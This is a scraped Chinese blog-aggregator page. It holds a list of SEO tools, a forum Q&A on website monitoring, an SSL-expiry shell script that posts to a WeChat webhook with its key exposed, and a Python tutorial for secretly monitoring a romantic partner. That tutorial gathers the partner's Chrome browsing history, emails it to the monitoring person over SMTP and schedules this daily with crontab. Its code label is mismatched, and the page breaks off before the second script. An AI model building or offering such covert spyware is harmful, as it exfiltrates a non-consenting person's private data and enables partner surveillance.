作用:输入某一关键词,您可以查找到任何与之相联系的关键词,并获得可视化报告。这些关键字以您输入的关键词为中心,形成一个网状结构,展示它们之间的联系。借助Answer the Public,营销人员可以撰写针对性强的文章,使网页更有可能出现在Google Snippets中。
7. Yoast SEO
价格:基础版免费,高级版89美元/月
作用:Yoast SEO是一个WordPress插件。它可在您使用WordPress优化博客文章时,为您提供实时反馈,提供改进建议。它类似一个清单工具,实时告诉你撰写网站博文时还可以做哪些事来优化SEO。
8. Keyword Density Checker
价格:每月500次使用限制,如需解锁更多使用次数,可购买50美元/年的高级版
作用:关键字密度(Keyword density)是谷歌等搜索引擎用来对网页进行排名的重要因素。您应该确保目标关键词在每篇文章中被提到足够多的次数,同时还不能滥用关键词。keyword density checker可以计算出每个关键词在您的文章中被提及的次数。只要复制粘贴文本,您就能知道文章中出现频率最高的关键词列表。对于大多数内容而言,目标关键字的密度最好在2%到5%。
9. Read-Able
价格:免费版可供使用,付费版4美元/月
作用:据统计,北美人的平均阅读水平在八年级左右。因此,如果北美人是您的目标受众,您应该撰写清晰易懂的句子和文章。如果您的目标受众受过大学教育,则可以使用较长的单词和复杂的句子。Read-able帮助您将文章写作水平与目标受众的阅读水平相匹配,为读者提供最佳体验。它提供阅读水平检查,语法和拼写检查等功能。
10. Grammarly Premium
价格:11.66美元/月
作用:搜索引擎将网站的拼写和语法纳入排名范围。如果网站内容包含许多拼写错误,它就不太可能获得一个高排名。Grammarly可以轻松创建语法正确且没有拼写错误的内容。您可以将Grammarly作为插件添加到浏览器,并在撰写电子邮件、社交媒体更新或博客文章时使用它。
从关键词研究到拼写检查和语法纠正,这10种工具涵盖了网站内容创建的每一个步骤。我们希望您在为网站编写内容时,可以使用其中一部分工具来节省时间和精力。如果您在实操上遇到困难,或者需要专业的咨询服务,一个专业的数字营销团队正是您需要的!Ara Analytics有丰富的搜索引擎优化经验,欢迎联系我们,我们将为您提供定制化的专业服务。 查看全部
10款常用的SEO内容创作工具
谷歌使用含有数百个加权因子的复杂算法,根据给定网页与给定关键词的相关性,对网页进行索引和排名。数字营销人员则通过实证测试试图弄清这个复杂算法背后的原理,并采用特定的方法来提高网页在搜索结果页中的排名,这一过程被叫做搜索引擎优化(SEO),这是数字营销人员必须掌握的重要技能。
如果没有优质SEO内容工具,优化网页内容将是一项冗长乏味的工作。为了帮助您节省大量时间和劳动力,本为会为您推荐10个最佳SEO内容创作工具,这些工具适用于内容创作过程的不同阶段。
1. Google Search Console
价格:网站所有者可免费使用
作用:Google Search Console是谷歌自己的工具,能够帮助提高网站在搜索引擎结果页面中的排名。它包括网站性能监视工具,页面加载时间监视工具。您还可以监控您的网站在Google搜索结果中的排名,了解哪些页面是针对特定关键词进行排名的。您还可以查看网页在搜索结果页面的展示次数和点击次数。它帮助您确定该优化哪些内容,以及接下来该定位哪些关键词。
2. Google Keyword Planner
价格:拥有Google Ads账户的人均可免费使用
作用:Google Keyword Planner是进行基本的关键词研究的最佳免费工具之一。您可以 1)发现新关键词:输入任何关键词来查看与其类似的关键词列表,以及它们的搜索量和相关指标,使得你很容易找到新的关键字优化目标;2)预测关键词趋势:监控趋势,以发现流行的搜索关键词。Kenny觉得这个工具只适合做SEM的小伙伴,如果你是做SEO的,那查找到的关键词数据不适合SEO。
3. WordStream
价格:免费
作用:WordStream 提供了一个精简版的Google Keyword Planner,它是免费的,易于使用。只需输入您选择的关键词,选择一个行业,并输入您的位置,然后单击Email All My Keywords按钮,您就可以获得关键词列表和它们在Google和Bing上的搜索量,以及每个关键词的平均每次点击成本(CPC)

4. SEMrush
价格:部分功能免费,订阅制99.95美元/月
作用:SEMrush 是最流行的工具之一,适用于所有类型的数字营销人员。它包含40多种不同的工具,可以帮助进行SEO、PPC和社交媒体管理。营销人员可以使用SEMrush分析反向链接、进行关键词研究、分析自己或竞争对手的网站性能和流量,并发现新的市场和机会。SEMrush还有一个SEO审计程序,可以帮助解决网站SEO的一些技术问题。
5. BuzzSumo
价格:79美元/月
作用:BuzzSumo帮助营销人员有效分析网站内容,同时紧跟热门趋势。BuzzSumo能够找到用户在不同平台上最喜欢分享的内容。只需要输入网站链接,就能查看什么是该网站最热门的内容。您还可以分析过去一天内,一个月内以及一年内的趋势,并且按照作者或者平台过滤。
6. Answer the Public
价格:每天3次免费使用,无限使用99美元/月
作用:输入某一关键词,您可以查找到任何与之相联系的关键词,并获得可视化报告。这些关键字以您输入的关键词为中心,形成一个网状结构,展示它们之间的联系。借助Answer the Public,营销人员可以撰写针对性强的文章,使网页更有可能出现在Google Snippets中。
7. Yoast SEO

价格:基础版免费,高级版89美元/月
作用:Yoast SEO是一个WordPress插件。它可在您使用WordPress优化博客文章时,为您提供实时反馈,提供改进建议。它类似一个清单工具,实时告诉你撰写网站博文时还可以做哪些事来优化SEO。
8. Keyword Density Checker
价格:每月500次使用限制,如需解锁更多使用次数,可购买50美元/年的高级版
作用:关键字密度(Keyword density)是谷歌等搜索引擎用来对网页进行排名的重要因素。您应该确保目标关键词在每篇文章中被提到足够多的次数,同时还不能滥用关键词。keyword density checker可以计算出每个关键词在您的文章中被提及的次数。只要复制粘贴文本,您就能知道文章中出现频率最高的关键词列表。对于大多数内容而言,目标关键字的密度最好在2%到5%。
9. Read-Able
价格:免费版可供使用,付费版4美元/月
作用:据统计,北美人的平均阅读水平在八年级左右。因此,如果北美人是您的目标受众,您应该撰写清晰易懂的句子和文章。如果您的目标受众受过大学教育,则可以使用较长的单词和复杂的句子。Read-able帮助您将文章写作水平与目标受众的阅读水平相匹配,为读者提供最佳体验。它提供阅读水平检查,语法和拼写检查等功能。
10. Grammarly Premium
价格:11.66美元/月
作用:搜索引擎将网站的拼写和语法纳入排名范围。如果网站内容包含许多拼写错误,它就不太可能获得一个高排名。Grammarly可以轻松创建语法正确且没有拼写错误的内容。您可以将Grammarly作为插件添加到浏览器,并在撰写电子邮件、社交媒体更新或博客文章时使用它。
从关键词研究到拼写检查和语法纠正,这10种工具涵盖了网站内容创建的每一个步骤。我们希望您在为网站编写内容时,可以使用其中一部分工具来节省时间和精力。如果您在实操上遇到困难,或者需要专业的咨询服务,一个专业的数字营销团队正是您需要的!Ara Analytics有丰富的搜索引擎优化经验,欢迎联系我们,我们将为您提供定制化的专业服务。
网站内容更新监控订阅、站内接口api接口。
网站优化 • 优采云 发表了文章 • 0 个评论 • 110 次浏览 • 2022-08-07 06:01
网站内容更新监控无非就是rss订阅、站内api接口。
1、rss订阅我知道,很多企业网站有自己的rss订阅器,
2、api接口就是你可以跟客户端通信获取你所需要的信息了;
3、其他就是类似wordpress插件的内容管理机制,
网站内容更新监控,内容推送,内容打标,有自己的一套闭环流程.单个的api直接获取是很不安全的一种方式,缺少对接口的安全保护.要有完整的内容更新流程.
要知道更新可以自己根据关键字去判断更新什么内容
这个问题没有确切的答案!你得看你的需求,如果你只是想要看看你们网站的数据,我觉得很简单,如果你想知道整个网站的运行情况,我觉得你需要了解他的数据中心来做分析,
数据量大又安全的可以试试gslb
需要先给你加个限制条件——你们公司有用googleanalytics吧,如果没有,那么也行。
我不知道如何分析。
数据量大分析更详细
fiddler反调
数据收集是做不到的,做到了,
数据,你收集他的哪些?如果一个ip干掉所有?如果不能,说明他在监控整站。
你只能监控哪些数据
你没有分析吗?
你需要找对行业目标用户,有针对性的收集需要的数据。当然你也可以选择机器人,全网抓取。 查看全部
网站内容更新监控订阅、站内接口api接口。
网站内容更新监控无非就是rss订阅、站内api接口。
1、rss订阅我知道,很多企业网站有自己的rss订阅器,
2、api接口就是你可以跟客户端通信获取你所需要的信息了;
3、其他就是类似wordpress插件的内容管理机制,
网站内容更新监控,内容推送,内容打标,有自己的一套闭环流程.单个的api直接获取是很不安全的一种方式,缺少对接口的安全保护.要有完整的内容更新流程.

要知道更新可以自己根据关键字去判断更新什么内容
这个问题没有确切的答案!你得看你的需求,如果你只是想要看看你们网站的数据,我觉得很简单,如果你想知道整个网站的运行情况,我觉得你需要了解他的数据中心来做分析,
数据量大又安全的可以试试gslb
需要先给你加个限制条件——你们公司有用googleanalytics吧,如果没有,那么也行。
我不知道如何分析。
数据量大分析更详细

fiddler反调
数据收集是做不到的,做到了,
数据,你收集他的哪些?如果一个ip干掉所有?如果不能,说明他在监控整站。
你只能监控哪些数据
你没有分析吗?
你需要找对行业目标用户,有针对性的收集需要的数据。当然你也可以选择机器人,全网抓取。
监控:实现 SSL 证书到期,微信通知
网站优化 • 优采云 发表了文章 • 0 个评论 • 97 次浏览 • 2022-07-16 01:53
点击上方“芋道源码”,选择“”
管她前浪,还是后浪?
能浪的浪,才是好浪!
每天 10:33更新文章,每天掉亿点点头发...
源码精品专栏
创建一个企业微信账号,并创建一个组,在组里面配置企业微信提供的机器人。将机器人提供的 WebHook 地址保存。
基于 Spring Boot + MyBatis Plus + Vue & Element 实现的后台管理系统 + 用户小程序,支持 RBAC 动态权限、多租户、数据权限、工作流、三方登录、支付、短信、商城等功能
[root@Nginx ~]# cat ssl-monitor.sh<br />#!/bin/bash<br /><br />> 基于 Spring Cloud Alibaba + Gateway + Nacos + RocketMQ + Vue & Element 实现的后台管理系统 + 用户小程序,支持 RBAC 动态权限、多租户、数据权限、工作流、三方登录、支付、短信、商城等功能<br />><br />> * 项目地址:<br />> * 视频教程:<br /><br /># 定义网站域名和端口号信息<br />WebName="www.baidu.com"<br />Port="443"<br /><br /># 通过 Openssl 工具获取到当前证书的到期时间<br />Cert_END_Time=$(echo | openssl s_client -servername ${<br /> <br /> WebName} -connect ${<br /> <br /> WebName}:${<br /> <br /> Port} 2> /dev/null | openssl x509 -noout -dates | grep 'After' | awk -F '=' '{print $2}' | awk '{print $1,$2,$4}')<br /><br /># 将证书的到期时间转化成时间戳<br />Cert_NED_TimeStamp=$(date +%s -d "$Cert_END_Time")<br /><br /># 定义当前时间的时间戳<br />Create_TimeStamp=$(date +%s)<br /><br /># 通过计算获取到证书的剩余天数<br />Rest_Time=$(expr $(expr $Cert_NED_TimeStamp - $Create_TimeStamp) / 86400)<br /><br /># 配置告警提示信息<br />echo "$WebName 网站的 SSL 证书还有 $Rest_Time 天后到期" > ssl-monitor.txt<br /><br /># 判断出证书时间小于 30 天的<br />if [ $Rest_Time -lt 30 ];then<br /><br /># 定义企业微信机器人的 API 接口<br />WebHook='https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=2743320b-0a2c-404b-87bc-25fedf1ff67a'<br /><br /># 通过 Curl 命令来发送 Post 请求<br />curl "${WebHook}" -H 'Content-Type: application/json' -d '<br />{<br /> "msgtype": "text",<br /> "text": { <br /> "content": "'"$(cat ssl-monitor.txt)"'"<br /> }<br />}' &> /dev/null<br />fi<br />
因为我们上面有配置条件判断,所以在验证时,我们可以先将条件判断删除。
[root@Nginx ~]# bash ssl-monitor.sh <br />
[root@Nginx ~]# crontab -e<br />* 23 * * * /bin/bash /root/ssl-monitor.sh<br />
欢迎加入我的知识星球,一起探讨架构,交流源码。加入方式,长按下方二维码噢:
已在知识星球更新源码解析如下:
最近更新《芋道 SpringBoot 2.X 入门》系列,已经 101 余篇,覆盖了MyBatis、Redis、MongoDB、ES、分库分表、读写分离、SpringMVC、Webflux、权限、WebSocket、Dubbo、RabbitMQ、RocketMQ、Kafka、性能测试等等内容。
提供近 3W 行代码的 SpringBoot 示例,以及超 4W 行代码的电商微服务项目。 查看全部
监控:实现 SSL 证书到期,微信通知
点击上方“芋道源码”,选择“”
管她前浪,还是后浪?
能浪的浪,才是好浪!
每天 10:33更新文章,每天掉亿点点头发...
源码精品专栏

创建一个企业微信账号,并创建一个组,在组里面配置企业微信提供的机器人。将机器人提供的 WebHook 地址保存。
基于 Spring Boot + MyBatis Plus + Vue & Element 实现的后台管理系统 + 用户小程序,支持 RBAC 动态权限、多租户、数据权限、工作流、三方登录、支付、短信、商城等功能
[root@Nginx ~]# cat ssl-monitor.sh<br />#!/bin/bash<br /><br />> 基于 Spring Cloud Alibaba + Gateway + Nacos + RocketMQ + Vue & Element 实现的后台管理系统 + 用户小程序,支持 RBAC 动态权限、多租户、数据权限、工作流、三方登录、支付、短信、商城等功能<br />><br />> * 项目地址:<br />> * 视频教程:<br /><br /># 定义网站域名和端口号信息<br />WebName="www.baidu.com"<br />Port="443"<br /><br /># 通过 Openssl 工具获取到当前证书的到期时间<br />Cert_END_Time=$(echo | openssl s_client -servername ${<br /> <br /> WebName} -connect ${<br /> <br /> WebName}:${<br /> <br /> Port} 2> /dev/null | openssl x509 -noout -dates | grep 'After' | awk -F '=' '{print $2}' | awk '{print $1,$2,$4}')<br /><br /># 将证书的到期时间转化成时间戳<br />Cert_NED_TimeStamp=$(date +%s -d "$Cert_END_Time")<br /><br /># 定义当前时间的时间戳<br />Create_TimeStamp=$(date +%s)<br /><br /># 通过计算获取到证书的剩余天数<br />Rest_Time=$(expr $(expr $Cert_NED_TimeStamp - $Create_TimeStamp) / 86400)<br /><br /># 配置告警提示信息<br />echo "$WebName 网站的 SSL 证书还有 $Rest_Time 天后到期" > ssl-monitor.txt<br /><br /># 判断出证书时间小于 30 天的<br />if [ $Rest_Time -lt 30 ];then<br /><br /># 定义企业微信机器人的 API 接口<br />WebHook='https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=2743320b-0a2c-404b-87bc-25fedf1ff67a'<br /><br /># 通过 Curl 命令来发送 Post 请求<br />curl "${WebHook}" -H 'Content-Type: application/json' -d '<br />{<br /> "msgtype": "text",<br /> "text": { <br /> "content": "'"$(cat ssl-monitor.txt)"'"<br /> }<br />}' &> /dev/null<br />fi<br />
因为我们上面有配置条件判断,所以在验证时,我们可以先将条件判断删除。
[root@Nginx ~]# bash ssl-monitor.sh <br />

[root@Nginx ~]# crontab -e<br />* 23 * * * /bin/bash /root/ssl-monitor.sh<br />
欢迎加入我的知识星球,一起探讨架构,交流源码。加入方式,长按下方二维码噢:
已在知识星球更新源码解析如下:
最近更新《芋道 SpringBoot 2.X 入门》系列,已经 101 余篇,覆盖了MyBatis、Redis、MongoDB、ES、分库分表、读写分离、SpringMVC、Webflux、权限、WebSocket、Dubbo、RabbitMQ、RocketMQ、Kafka、性能测试等等内容。
提供近 3W 行代码的 SpringBoot 示例,以及超 4W 行代码的电商微服务项目。
网站内容更新监控工具,支持关键词监控,即时更新您的网站
网站优化 • 优采云 发表了文章 • 0 个评论 • 83 次浏览 • 2022-06-23 07:04
网站内容更新监控工具,支持关键词监控,即时更新您的网站。1.实时更新网站内容2.记录更新历史(网站浏览)3.实时统计自动生成不重复的内容列表,您可以对其进行实时更新。
我做网站营销,有个工具网站,有兴趣可以给你看看。
你的要求不能够完全满足,个人建议使用百度统计,国内的一个第三方数据统计平台,带seo分析的,操作非常简单,不需要下客户端,并且能同步到阿里云和腾讯云,费用也不贵,一年400左右。
si里的统计分析很全面了
请问,我如何使用si在pc端或者移动端,同时浏览多个网站,并且是googleanalytics上上架了优化过的网站,都可以发帖子提问么?如果可以的话,
泻药都不是大互联网企业,用si干嘛啊?pc端用户看的就那么一点,没必要用si。移动端就没有网站的域名了吧?统计不过来的。
百度统计只能收录网站的静态页面或者页面标题和内容标题等含有相关性的url词的,seo信息是没有的!所以你可以考虑针对seo加强分析,通过竞争度分析,来增加网站内容的建设。如果搜索引擎不下载你的网站数据用户还是不会搜到你, 查看全部
网站内容更新监控工具,支持关键词监控,即时更新您的网站
网站内容更新监控工具,支持关键词监控,即时更新您的网站。1.实时更新网站内容2.记录更新历史(网站浏览)3.实时统计自动生成不重复的内容列表,您可以对其进行实时更新。
我做网站营销,有个工具网站,有兴趣可以给你看看。
你的要求不能够完全满足,个人建议使用百度统计,国内的一个第三方数据统计平台,带seo分析的,操作非常简单,不需要下客户端,并且能同步到阿里云和腾讯云,费用也不贵,一年400左右。
si里的统计分析很全面了
请问,我如何使用si在pc端或者移动端,同时浏览多个网站,并且是googleanalytics上上架了优化过的网站,都可以发帖子提问么?如果可以的话,
泻药都不是大互联网企业,用si干嘛啊?pc端用户看的就那么一点,没必要用si。移动端就没有网站的域名了吧?统计不过来的。
百度统计只能收录网站的静态页面或者页面标题和内容标题等含有相关性的url词的,seo信息是没有的!所以你可以考虑针对seo加强分析,通过竞争度分析,来增加网站内容的建设。如果搜索引擎不下载你的网站数据用户还是不会搜到你,
如何监控网站内容更新监控指标?不同title该如何布局
网站优化 • 优采云 发表了文章 • 0 个评论 • 80 次浏览 • 2022-06-14 08:03
网站内容更新监控是一项非常重要的常规性工作,总是不知道要更新多少最好,或者想要多快更新,只要掌握了网站内容更新监控技巧,就能够让自己每天提前发现一些新的项目和思路,可以有效防止自己陷入单向度思维或者陷入混乱的思考模式当中,而且不会被眼花缭乱的现象迷惑,要根据自己要发布的内容找到合适的方式去分析页面内容布局或者人群的关注话题,将自己作为项目运营上的参考。
1、不同title该如何监控指标首先,在上传表格的时候,就要利用合适的工具将关键词进行分词,然后进行分词之后得到分词的词组,之后按照人们常用的搜索方式进行关键词搜索,如果出现多个词组,就将所有表格的关键词匹配。然后,将这些词组进行统计,统计关键词出现频率,看看是否有大的变化,还是有规律可循,直到找到不同主题下表格中的关键词从主关键词到长尾关键词,词频从高到低排列,然后根据这个频率进行关键词的排序。
2、布局结构的基本逻辑整个关键词布局原则主要从以下两个方面去进行:
1、提高ip,30天内只要超过30天的ip,全部展示,即不得超过60%,
2、提高listing,也就是30天内不得超过30天的pv,即100~2000,这是amazon平台浏览量比较低的产品。
3、网站布局:关键词匹配,关键词重点分布,多网站投放关键词,整站布局,例如,产品关键词在搜索产品的时候,展示出来的页面全部布局,不得有重复关键词:如果有,通过对分词后产品listing进行二次布局或者三次布局。
4、关键词布局策略策略一:10个词左右长尾词+10个核心词策略二:20个词左右核心词+20个长尾词策略三:30个词左右核心词+30个长尾词策略四:50个词左右核心词+50个长尾词策略五:100个词左右核心词+100个长尾词策略六:1000个词左右核心词+1000个长尾词 查看全部
如何监控网站内容更新监控指标?不同title该如何布局
网站内容更新监控是一项非常重要的常规性工作,总是不知道要更新多少最好,或者想要多快更新,只要掌握了网站内容更新监控技巧,就能够让自己每天提前发现一些新的项目和思路,可以有效防止自己陷入单向度思维或者陷入混乱的思考模式当中,而且不会被眼花缭乱的现象迷惑,要根据自己要发布的内容找到合适的方式去分析页面内容布局或者人群的关注话题,将自己作为项目运营上的参考。
1、不同title该如何监控指标首先,在上传表格的时候,就要利用合适的工具将关键词进行分词,然后进行分词之后得到分词的词组,之后按照人们常用的搜索方式进行关键词搜索,如果出现多个词组,就将所有表格的关键词匹配。然后,将这些词组进行统计,统计关键词出现频率,看看是否有大的变化,还是有规律可循,直到找到不同主题下表格中的关键词从主关键词到长尾关键词,词频从高到低排列,然后根据这个频率进行关键词的排序。
2、布局结构的基本逻辑整个关键词布局原则主要从以下两个方面去进行:
1、提高ip,30天内只要超过30天的ip,全部展示,即不得超过60%,
2、提高listing,也就是30天内不得超过30天的pv,即100~2000,这是amazon平台浏览量比较低的产品。
3、网站布局:关键词匹配,关键词重点分布,多网站投放关键词,整站布局,例如,产品关键词在搜索产品的时候,展示出来的页面全部布局,不得有重复关键词:如果有,通过对分词后产品listing进行二次布局或者三次布局。
4、关键词布局策略策略一:10个词左右长尾词+10个核心词策略二:20个词左右核心词+20个长尾词策略三:30个词左右核心词+30个长尾词策略四:50个词左右核心词+50个长尾词策略五:100个词左右核心词+100个长尾词策略六:1000个词左右核心词+1000个长尾词
做出一款给竞争对手看的短信服务平台,要给用户什么?
网站优化 • 优采云 发表了文章 • 0 个评论 • 79 次浏览 • 2022-06-13 07:02
网站内容更新监控主要有三个方面,第一,实时监控,网站每次更新信息都会及时发送到后台;第二,可视化监控,该统计分析数据都会在首页显示;第三,分析统计,定期会对网站的内容做分析统计。
可以使用鼎盛科技的短信监控平台。
你可以通过监控给网站发送短信,这样网站还可以及时更新,之前用过他们的短信监控平台。
大部分的mvp还是要自己做一个,好多创业网站和tm做的很简陋,根本不是bestpractice。国内一些技术水平一般的开发商也经常不准时发送,所以你还是要自己有一定的经验。如果只做bestpractice的话,我会推荐@腾讯微信团队的微信平台监控,你可以给他们发短信监控,或者给他们的公众号也发一条定时通知。
凡创始人陈石:做出一款给竞争对手看的短信服务平台,要给用户什么?创始人宋小鹤:量子云短信服务方案,
平台+自营+融资
我们的知乎专栏——匠铭社-《经典短信应用研究》,
借用楼上的一句话,两分天注定,七分靠修行。利用好几家短信平台,
先列出基本原理1)专门建立post方式,通过域名检索匹配2)post发送简单设置规则发送短信第一种几率大,
作为被短信坑过的人,一个月之内吧,国内三十几家平台,最后选定了花生宝典,从精度、风控、到执行、到效果,这是最关键的一个环节。以前用任何企业短信平台的企业邮箱发短信经常发不出去、发完还必须要手动删除,无一例外。花生宝典做到一号双响、永久发送,虽然发送速度慢点,但准确性应该有保证吧,现在自建短信服务平台应该没啥难度了。 查看全部
做出一款给竞争对手看的短信服务平台,要给用户什么?
网站内容更新监控主要有三个方面,第一,实时监控,网站每次更新信息都会及时发送到后台;第二,可视化监控,该统计分析数据都会在首页显示;第三,分析统计,定期会对网站的内容做分析统计。
可以使用鼎盛科技的短信监控平台。
你可以通过监控给网站发送短信,这样网站还可以及时更新,之前用过他们的短信监控平台。
大部分的mvp还是要自己做一个,好多创业网站和tm做的很简陋,根本不是bestpractice。国内一些技术水平一般的开发商也经常不准时发送,所以你还是要自己有一定的经验。如果只做bestpractice的话,我会推荐@腾讯微信团队的微信平台监控,你可以给他们发短信监控,或者给他们的公众号也发一条定时通知。
凡创始人陈石:做出一款给竞争对手看的短信服务平台,要给用户什么?创始人宋小鹤:量子云短信服务方案,
平台+自营+融资
我们的知乎专栏——匠铭社-《经典短信应用研究》,
借用楼上的一句话,两分天注定,七分靠修行。利用好几家短信平台,
先列出基本原理1)专门建立post方式,通过域名检索匹配2)post发送简单设置规则发送短信第一种几率大,
作为被短信坑过的人,一个月之内吧,国内三十几家平台,最后选定了花生宝典,从精度、风控、到执行、到效果,这是最关键的一个环节。以前用任何企业短信平台的企业邮箱发短信经常发不出去、发完还必须要手动删除,无一例外。花生宝典做到一号双响、永久发送,虽然发送速度慢点,但准确性应该有保证吧,现在自建短信服务平台应该没啥难度了。
用Python监控你的女朋友/男朋友每天都在看哪些网站
网站优化 • 优采云 发表了文章 • 0 个评论 • 83 次浏览 • 2022-06-01 01:11
需求:
(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中
(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)
(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了
背景:
(1)mac下chrome的浏览记录在哪?怎么获取网址(url)和访问时间?
答:路径:/Users/用户名/Library/Application\ Support/Google/Chrome/Default/History
History:是一个SQLite数据库,其实就是一个文件,可以用DB Browser for SQLite
去查看所有的信息,我们要的信息在urls表中
怎么获取:用python内置的sqlite3库连接History,通过sql得到我们想要的信息
(2)怎么发送一个带附件的邮件?
答:使用python内置的email和smtplib两个模块去构造和发送邮件
(3)怎么把这些过程自动化?
答:使用shell脚本将这些过程连接起来,然后使用crontab命令定时运行
准备
macOS Sierra
Python3.6
Chrome
发送邮件的qq邮箱地址
qq邮箱授权码
SMTP服务器地址 :
接受邮件的邮箱地址
执行:
(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成
从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中
(2) get_history.py:
# -*- coding: utf-8 -*-<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email import encoders<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email.header import Header<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email.mime.text import MIMEText<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email.mime.multipart import MIMEMultipart<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email.mime.base import MIMEBase<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email.utils import parseaddr, formataddr<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import smtplib<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import argparse<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 1.文件执行的需要的参数(result.txt)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />parser = argparse.ArgumentParser()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />parser.add_argument('affix_file',help='the path of the affix')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />args = parser.parse_args()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 2.格式化一个邮件地址和邮件信息<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />def _format_addr(s):<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> name, addr = parseaddr(s)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return formataddr((Header(name, 'utf-8').encode(), addr))<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />#连接服务器(这里大家好改成自己的!)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from_addr = "771568102@qq.com" #发件人邮箱<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />password = "xxxxxxxx" #发件人邮箱授权码<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />to_addr = "2160802033@cnu.edu.cn" #收件人邮箱<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />smtp_server = "smtp.qq.com" #SMTP服务器地址<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />#邮件发件人名字、收件人名字、主题<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />msg = MIMEMultipart()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />msg['From'] = _format_addr('风一样的女子 ' % from_addr)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />msg['To'] = _format_addr('风一样的男子 ' % to_addr)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 邮件正文是MIMEText:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />with open(args.affix_file, 'r') as f:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> # 设置附件的MIME和文件名,这里是py类型:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> mime = MIMEBase('result', 'txt', filename='result.txt')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> # 加上必要的头信息:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> mime.add_header('Content-Disposition', 'attachment', filename='result.txt')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> mime.add_header('Content-ID', '')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> mime.add_header('X-Attachment-Id', '0')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> # 把附件的内容读进来:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> mime.set_payload(f.read())<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> # 用Base64编码:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> encoders.encode_base64(mime)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> # 添加到MIMEMultipart:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> msg.attach(mime)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />#3.通过SMTP发送出去<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />server = smtplib.SMTP(smtp_server, 25)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />server.set_debuglevel(1)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />server.login(from_addr, password)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />server.sendmail(from_addr, [to_addr], msg.as_string())<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />server.quit()
通过这个脚本,我们可以把url和访问时间提取出来,并且存储在result.txt中,下图就是我得到的部分结果
(3) send_email.py:
